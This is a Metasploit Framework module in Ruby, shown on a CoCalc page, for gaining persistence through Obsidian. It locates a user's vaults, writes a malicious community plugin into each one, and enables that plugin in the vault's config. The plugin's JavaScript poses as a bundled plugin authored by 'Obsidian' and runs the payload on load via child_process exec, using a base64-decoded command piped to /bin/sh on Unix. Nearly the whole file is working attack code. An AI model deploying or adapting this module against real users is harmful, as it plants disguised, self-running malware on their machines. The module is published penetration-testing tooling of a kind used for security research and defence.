CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place. Commercial Alternative to JupyterHub.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/local/obsidian_plugin_persistence.rb
Views: 15959
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Post::Unix # whoami
11
include Msf::Auxiliary::Report
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Obsidian Plugin Persistence',
18
'Description' => %q{
19
This module searches for Obsidian vaults for a user, and uploads a malicious
20
community plugin to the vault. The vaults must be opened with community
21
plugins enabled (NOT restricted mode), but the plugin will be enabled
22
automatically.
23
24
Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10.
25
},
26
'License' => MSF_LICENSE,
27
'Author' => [
28
'h00die', # Module
29
'Thomas Byrne' # Research, PoC
30
],
31
'DisclosureDate' => '2022-09-16',
32
'SessionTypes' => [ 'shell', 'meterpreter' ],
33
'Privileged' => false,
34
'References' => [
35
[ 'URL', 'https://docs.obsidian.md/Plugins/Getting+started/Build+a+plugin' ],
36
[ 'URL', 'https://github.com/obsidianmd/obsidian-sample-plugin/tree/master' ],
37
[ 'URL', 'https://forum.obsidian.md/t/can-obsidian-plugins-have-malware/34491' ],
38
[ 'URL', 'https://help.obsidian.md/Extending+Obsidian/Plugin+security' ],
39
[ 'URL', 'https://thomas-byrne.co.uk/research/obsidian-malicious-plugins/obsidian-research/' ]
40
],
41
'Arch' => [ARCH_CMD],
42
'Platform' => %w[osx linux windows],
43
'DefaultOptions' => {
44
# 25hrs, you know, just in case the user doesn't open Obsidian for a while
45
'WfsDelay' => 90_000,
46
'PrependMigrate' => true
47
},
48
'Payload' => {
49
'BadChars' => '"'
50
},
51
'Stance' => Msf::Exploit::Stance::Passive,
52
'Targets' => [
53
['Auto', {} ],
54
['Linux', { 'Platform' => 'unix' } ],
55
['OSX', { 'Platform' => 'osx' } ],
56
['Windows', { 'Platform' => 'windows' } ],
57
],
58
'Notes' => {
59
'Reliability' => [ REPEATABLE_SESSION ],
60
'Stability' => [ CRASH_SAFE ],
61
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ]
62
},
63
'DefaultTarget' => 0
64
)
65
)
66
67
register_options([
68
OptString.new('NAME', [ false, 'Name of the plugin', '' ]),
69
OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]),
70
OptString.new('CONFIG', [ false, 'Config file location on target', '' ]),
71
])
72
end
73
74
def plugin_name
75
return datastore['NAME'] unless datastore['NAME'].blank?
76
77
rand_text_alphanumeric(4..10)
78
end
79
80
def find_vaults
81
vaults_found = []
82
user = target_user
83
vprint_status("Target User: #{user}")
84
case session.platform
85
when 'windows', 'win'
86
config_files = ["C:\\Users\\#{user}\\AppData\\Roaming\\obsidian\\obsidian.json"]
87
when 'osx'
88
config_files = ["/User/#{user}/Library/Application Support/obsidian/obsidian.json"]
89
when 'linux'
90
config_files = [
91
"/home/#{user}/.config/obsidian/obsidian.json",
92
"/home/#{user}/snap/obsidian/40/.config/obsidian/obsidian.json"
93
] # snap package
94
end
95
96
config_files << datastore['CONFIG'] unless datastore['CONFIG'].empty?
97
98
config_files.each do |config_file|
99
next unless file?(config_file)
100
101
vprint_status("Found user obsidian file: #{config_file}")
102
config_contents = read_file(config_file)
103
return fail_with(Failure::Unknown, 'Failed to read config file') if config_contents.nil?
104
105
begin
106
vaults = JSON.parse(config_contents)
107
rescue JSON::ParserError
108
vprint_error("Failed to parse JSON from #{config_file}")
109
next
110
end
111
112
vaults_found = vaults['vaults']
113
if vaults_found.nil?
114
vprint_error("No vaults found in #{config_file}")
115
next
116
end
117
118
vaults['vaults'].each do |k, v|
119
if v['open']
120
print_good("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}")
121
else
122
print_status("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}")
123
end
124
end
125
end
126
127
vaults_found
128
end
129
130
def manifest_js(plugin_name)
131
JSON.pretty_generate({
132
'id' => plugin_name.gsub(' ', '_'),
133
'name' => plugin_name,
134
'version' => '1.0.0',
135
'minAppVersion' => '0.15.0',
136
'description' => '',
137
'author' => 'Obsidian',
138
'authorUrl' => 'https://obsidian.md',
139
'isDesktopOnly' => false
140
})
141
end
142
143
def main_js(_plugin_name)
144
if ['windows', 'win'].include? session.platform
145
payload_stub = payload.encoded.to_s
146
else
147
payload_stub = "echo \\\"#{Rex::Text.encode_base64(payload.encoded)}\\\" | base64 -d | /bin/sh"
148
end
149
%%
150
/*
151
THIS IS A GENERATED/BUNDLED FILE BY ESBUILD
152
if you want to view the source, please visit the github repository of this plugin
153
*/
154
155
var __defProp = Object.defineProperty;
156
var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
157
var __getOwnPropNames = Object.getOwnPropertyNames;
158
var __hasOwnProp = Object.prototype.hasOwnProperty;
159
var __export = (target, all) => {
160
for (var name in all)
161
__defProp(target, name, { get: all[name], enumerable: true });
162
};
163
var __copyProps = (to, from, except, desc) => {
164
if (from && typeof from === "object" || typeof from === "function") {
165
for (let key of __getOwnPropNames(from))
166
if (!__hasOwnProp.call(to, key) && key !== except)
167
__defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
168
}
169
return to;
170
};
171
var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
172
173
// main.ts
174
var main_exports = {};
175
__export(main_exports, {
176
default: () => ExamplePlugin
177
});
178
module.exports = __toCommonJS(main_exports);
179
var import_obsidian = require("obsidian");
180
var ExamplePlugin = class extends import_obsidian.Plugin {
181
async onload() {
182
var command = "#{payload_stub}";
183
const { exec } = require("child_process");
184
exec(command, (error, stdout, stderr) => {
185
if (error) {
186
console.log(`error: ${error.message}`);
187
return;
188
}
189
if (stderr) {
190
console.log(`stderr: ${stderr}`);
191
return;
192
}
193
console.log(`stdout: ${stdout}`);
194
});
195
}
196
async onunload() {
197
}
198
};
199
%
200
end
201
202
def target_user
203
return datastore['USER'] unless datastore['USER'].blank?
204
205
return cmd_exec('cmd.exe /c echo %USERNAME%').strip if ['windows', 'win'].include? session.platform
206
207
whoami
208
end
209
210
def check
211
return CheckCode::Appears('Vaults found') unless find_vaults.empty?
212
213
CheckCode::Safe('No vaults found')
214
end
215
216
def exploit
217
plugin = plugin_name
218
print_status("Using plugin name: #{plugin}")
219
vaults = find_vaults
220
fail_with(Failure::NotFound, 'No vaults found') if vaults.empty?
221
vaults.each_value do |vault|
222
print_status("Uploading plugin to vault #{vault['path']}")
223
# avoid mkdir function because that registers it for delete, and we don't want that for
224
# persistent modules
225
if ['windows', 'win'].include? session.platform
226
cmd_exec("cmd.exe /c md \"#{vault['path']}\\.obsidian\\plugins\\#{plugin}\"")
227
else
228
cmd_exec("mkdir -p '#{vault['path']}/.obsidian/plugins/#{plugin}/'")
229
end
230
vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/main.js")
231
write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/main.js", main_js(plugin))
232
vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json")
233
write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json", manifest_js(plugin))
234
235
# read in the enabled community plugins, and add ours to the enabled list
236
if file?("#{vault['path']}/.obsidian/community-plugins.json")
237
plugins = read_file("#{vault['path']}/.obsidian/community-plugins.json")
238
begin
239
plugins = JSON.parse(plugins)
240
vprint_status("Found #{plugins.length} enabled community plugins (#{plugins.join(', ')})")
241
path = store_loot('obsidian.community.plugins.json', 'text/plain', session, plugins, nil, nil)
242
print_good("Config file saved in: #{path}")
243
rescue JSON::ParserError
244
plugins = []
245
end
246
247
plugins << plugin unless plugins.include?(plugin)
248
else
249
plugins = [plugin]
250
end
251
vprint_status("adding #{plugin} to the enabled community plugins list")
252
write_file("#{vault['path']}/.obsidian/community-plugins.json", JSON.pretty_generate(plugins))
253
print_good('Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.')
254
end
255
end
256
end
257
258